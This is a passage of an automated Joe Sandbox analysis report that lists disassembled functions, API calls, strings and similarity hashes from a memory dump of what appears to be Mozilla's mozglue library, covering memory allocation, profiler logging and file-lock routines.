__Init_thread_footer.LIBCMT ref: 6C609697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C609707
__Init_thread_footer.LIBCMT ref: 6C60971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609773

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6097B7
FreeLibrary.KERNEL32 ref: 6C6097D0
FreeLibrary.KERNEL32 ref: 6C6097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C609670
MapViewOfFileNuma2, xrefs: 6C6097B1
NtMapViewOfSection, xrefs: 6C609701
ntdll.dll, xrefs: 6C6096E3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 47af8a3a176814f5686a86a2bcd6014475e7861d31daaeea385ccaf107e05eaf
Instruction ID: b46869e6e347f49d17b25b9dc1a3327c1398f90561c9b3c8c72031ba376144dc
Opcode Fuzzy Hash: 47af8a3a176814f5686a86a2bcd6014475e7861d31daaeea385ccaf107e05eaf
Instruction Fuzzy Hash: 6241CE717002119BDF09CFA6E9D4E9677B5FB8A369F104928ED0597740E734A804CFBA

Function 6C640000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C640039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C640041
GetCurrentThreadId.KERNEL32 ref: 6C640075
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C640082
moz_xmalloc.MOZGLUE(00000048), ref: 6C640090
free.MOZGLUE(?), ref: 6C640104
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C64011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C64005B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 78ce7b5f1b63a45ba2778267193cc2554feaa32bb81294794df27047b988b092
Instruction ID: 5ef7de6a2c4536d97b01b5fbbc502de204563bc6240641be5b4ff40d5ec885ba
Opcode Fuzzy Hash: 78ce7b5f1b63a45ba2778267193cc2554feaa32bb81294794df27047b988b092
Instruction Fuzzy Hash: C941B071500264DFCB25CF65C880A9ABBF0FF4A318F50891DE95A83B41D731A815CFAE

Function 6C607E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C607EA7
malloc.MOZGLUE(00000001), ref: 6C607EB3

Part of subcall function 6C60CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C60CB49
Part of subcall function 6C60CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C60CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C607EC4
mozalloc_abort.MOZGLUE(?), ref: 6C607F19
malloc.MOZGLUE(?), ref: 6C607F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C607F4D

Strings

d, xrefs: 6C607F89

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 69860499618cceda837815ddb44b06d318db77eb90df3a6705796855d61ffc70
Instruction ID: f8e9716071a38f31089f9c80d608f526405262377c4b6a35fc43b01cf1d42f71
Opcode Fuzzy Hash: 69860499618cceda837815ddb44b06d318db77eb90df3a6705796855d61ffc70
Instruction Fuzzy Hash: BF313D61E043989BDF019F2ACD445FEB778EF96308F045628DD4967612FB30A5C8C399

Function 6C604C00 Relevance: 13.9, APIs: 8, Strings: 1, Instructions: 421COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C2F
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C82
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C604C89

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6050F3, 6C605121, 6C60513C

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2801635615-1351931279
Opcode ID: d88ec83cf16c204bdc4f295d4611468304a31f2ec14b0475b9219d1356ef0a00
Instruction ID: 94405f25bf96de9c599e05deeb2bee7a7fb5050e22b000c2f49012cab7130860
Opcode Fuzzy Hash: d88ec83cf16c204bdc4f295d4611468304a31f2ec14b0475b9219d1356ef0a00
Instruction Fuzzy Hash: 47F1FE717056018FD72DCF29C690769B7E1AF92328F28CA5DE4669BAD0CB70D801CB9C

Function 6C603E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C603EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C603FDC
RtlAllocateHeap.NTDLL ref: 6C604006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6040A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C603CCC), ref: 6C6040AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C603CCC), ref: 6C6040C2
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C604134
RtlFreeUnicodeString.NTDLL(?,?,00000000,00000000,?,00000000,00000040,?,?,?,?,?,6C603CCC), ref: 6C604143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,00000000,?,00000000,00000040,?,?,?,?,?,6C603CCC), ref: 6C604157

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: ac07c0d931677ad02467f9836fd3ca3fa2348f802d9e8fd4186c98be77089593
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8DA19EB1B00205CFDB54CF69C980A69B7B5FF58308F2541A9D90ABF712D771E886CBA4

Function 6C5F2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C613F47,?,?,?,6C613F47,6C611A70,?), ref: 6C5F207F
memset.VCRUNTIME140(?,000000E5,6C613F47,?,6C613F47,6C611A70,?), ref: 6C5F20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C613F47,6C611A70,?), ref: 6C5F211A
EnterCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C613F47,6C611A70,?), ref: 6C5F21BA
EnterCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F21E0
LeaveCriticalSection.KERNEL32(6C67E744,?,6C613F47,6C611A70,?), ref: 6C5F2232

Strings

MOZ_CRASH(), xrefs: 6C5F227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5F2253, 6C5F2268

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: f0a116aecfedacb4c657285c1e4cbeed804b77347683838bd1ef4962c6678ad7
Instruction ID: b3007434dd2e166843af3bf93a60c835e83a9771a590560cc85d36ee506c9ddb
Opcode Fuzzy Hash: f0a116aecfedacb4c657285c1e4cbeed804b77347683838bd1ef4962c6678ad7
Instruction Fuzzy Hash: 3161E5B2F002568FDB0CCF69CC89B6E76B5AF85318F184539E534A7A94D7309C01CE99

Function 6C649D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C648273), ref: 6C649D65
free.MOZGLUE(6C648273,?), ref: 6C649D7C
free.MOZGLUE(?,?), ref: 6C649D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C649E0F
free.MOZGLUE(6C64946B,?,?), ref: 6C649E24
free.MOZGLUE(?,?,?), ref: 6C649E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C649EC8
free.MOZGLUE(6C64946B,?,?,?), ref: 6C649EDF
free.MOZGLUE(?,?,?,?), ref: 6C649EF5

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ed3d9aef8342db52bb6e8fcd16a01a5f133d5b94dd386bbfa3ba520d89ada80e
Instruction ID: 92c91ff30e13bbb1ca05695132c5ff8fd6284da61f11b42b6b5acac998a99c9d
Opcode Fuzzy Hash: ed3d9aef8342db52bb6e8fcd16a01a5f133d5b94dd386bbfa3ba520d89ada80e
Instruction Fuzzy Hash: 93719F70909B418BC712CF18C58095BF7F9FF99319B44D61DE85A5BB12EB30E886CB89

Function 6C64DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DDCF

Part of subcall function 6C62FA00: ReleaseSRWLockExclusive.KERNEL32(?,?,6C605407), ref: 6C62FA4B

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE0D
free.MOZGLUE(00000000,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C63DEFD), ref: 6C64DF32

Part of subcall function 6C64DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?,?,00000000,?,?,?,6C64DF7F,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DB86
Part of subcall function 6C64DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?,?,?,?,00000000,?,?,?,6C64DF7F,?,?,00000000,00000000), ref: 6C64DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C63DEFD), ref: 6C64DF65
free.MOZGLUE(?,?,?,00000000,00000000,?,6C63DEFD), ref: 6C64DF80

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 37233fd523766500307ecf64931df570152b572709844ccb32b60bfddc35ef95
Instruction ID: 3070d898546eda05239daaec30fccf1a5fc4dce1859361e55083353b0e07c97b
Opcode Fuzzy Hash: 37233fd523766500307ecf64931df570152b572709844ccb32b60bfddc35ef95
Instruction Fuzzy Hash: 1D51C672E016119BD7219B29C880AEEB372AF92308F95C51CD51A53F00D731F81ACB9E

Function 6C655D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655DC9
std::_Facet_Register.LIBCPMT ref: 6C655DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C655C8C,?,6C62E829), ref: 6C655E45

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c23e990b30420711f894265d17a2a229969e29b9d0e5b29b60546efa45618fd7
Instruction ID: 31c5a1bd578424363ca476a65ef5910a25f8fa1fc2cc0fba5635b3ed967fcb92
Opcode Fuzzy Hash: c23e990b30420711f894265d17a2a229969e29b9d0e5b29b60546efa45618fd7
Instruction Fuzzy Hash: 3A419C317002049FCB04DF66C8DCAAEB7F5EF89318F644568E50A9B791EB34A805CF69

Function 6C62CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5F31A7), ref: 6C62CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C62CFA4, 6C62CFB8
<jemalloc>, xrefs: 6C62CF9F, 6C62CFB3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1a5250017e522772f1f8719f1d137961808a6ebf5a52fa974f11f5fbf70d10fe
Instruction ID: 2e7dc10f049cd96ea7826fba8e728e1e5950c9864ac01a13c870de65d0104777
Opcode Fuzzy Hash: 1a5250017e522772f1f8719f1d137961808a6ebf5a52fa974f11f5fbf70d10fe
Instruction Fuzzy Hash: 7F310730740215ABFB24AF658C45BAE7775AF81B18F204414F516ABAC0DB78D401CFAD

Function 6C5FECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FF100: LoadLibraryW.KERNEL32(shell32,?,6C66D020), ref: 6C5FF122
Part of subcall function 6C5FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5FF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5FED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5FEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5FEDCC
CreateFileW.KERNEL32 ref: 6C5FEE08
free.MOZGLUE(00000000), ref: 6C5FEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5FEE32

Part of subcall function 6C5FEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5FEBB5
Part of subcall function 6C5FEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C62D7F3), ref: 6C5FEBC3
Part of subcall function 6C5FEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C62D7F3), ref: 6C5FEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5FEDC1

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 18485494fb9b5908aced796c52143894894af64b4f28d3c7a77c2867d4192e66
Instruction ID: a5b04d97232c3cd3e89959e1c75a43e8517b630017ef5685c52983cf70541103
Opcode Fuzzy Hash: 18485494fb9b5908aced796c52143894894af64b4f28d3c7a77c2867d4192e66
Instruction Fuzzy Hash: EC51F471D052048FDB08DF69DC406EEB7B1AF4A318F04892DD8616BB40E770694ACBE6

Function 6C66A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66A565

Part of subcall function 6C66A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66A4BE
Part of subcall function 6C66A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C66A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C66A6B6

Strings

0, xrefs: 6C66A5FB
z, xrefs: 6C66A6AE

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: d355f518fcda6129d99dbe88b9c943ca7c045f7c76cbf9a2f0ff6aef94d050ee
Instruction ID: 0a538dc1e908270b4fa36b9ae62ee60b7968bc2fa0895016c6608e9541b382cc
Opcode Fuzzy Hash: d355f518fcda6129d99dbe88b9c943ca7c045f7c76cbf9a2f0ff6aef94d050ee
Instruction Fuzzy Hash: 9B4138719087459FC341DF29C480A8ABBE5BF89354F408A2EF49987651E730E549CB97

Function 6C63DF60 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63DF7D
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63DF8A
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63DFC9
GetCurrentThreadId.KERNEL32 ref: 6C63DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E000

Strings

<none>, xrefs: 6C63DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C63E00E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
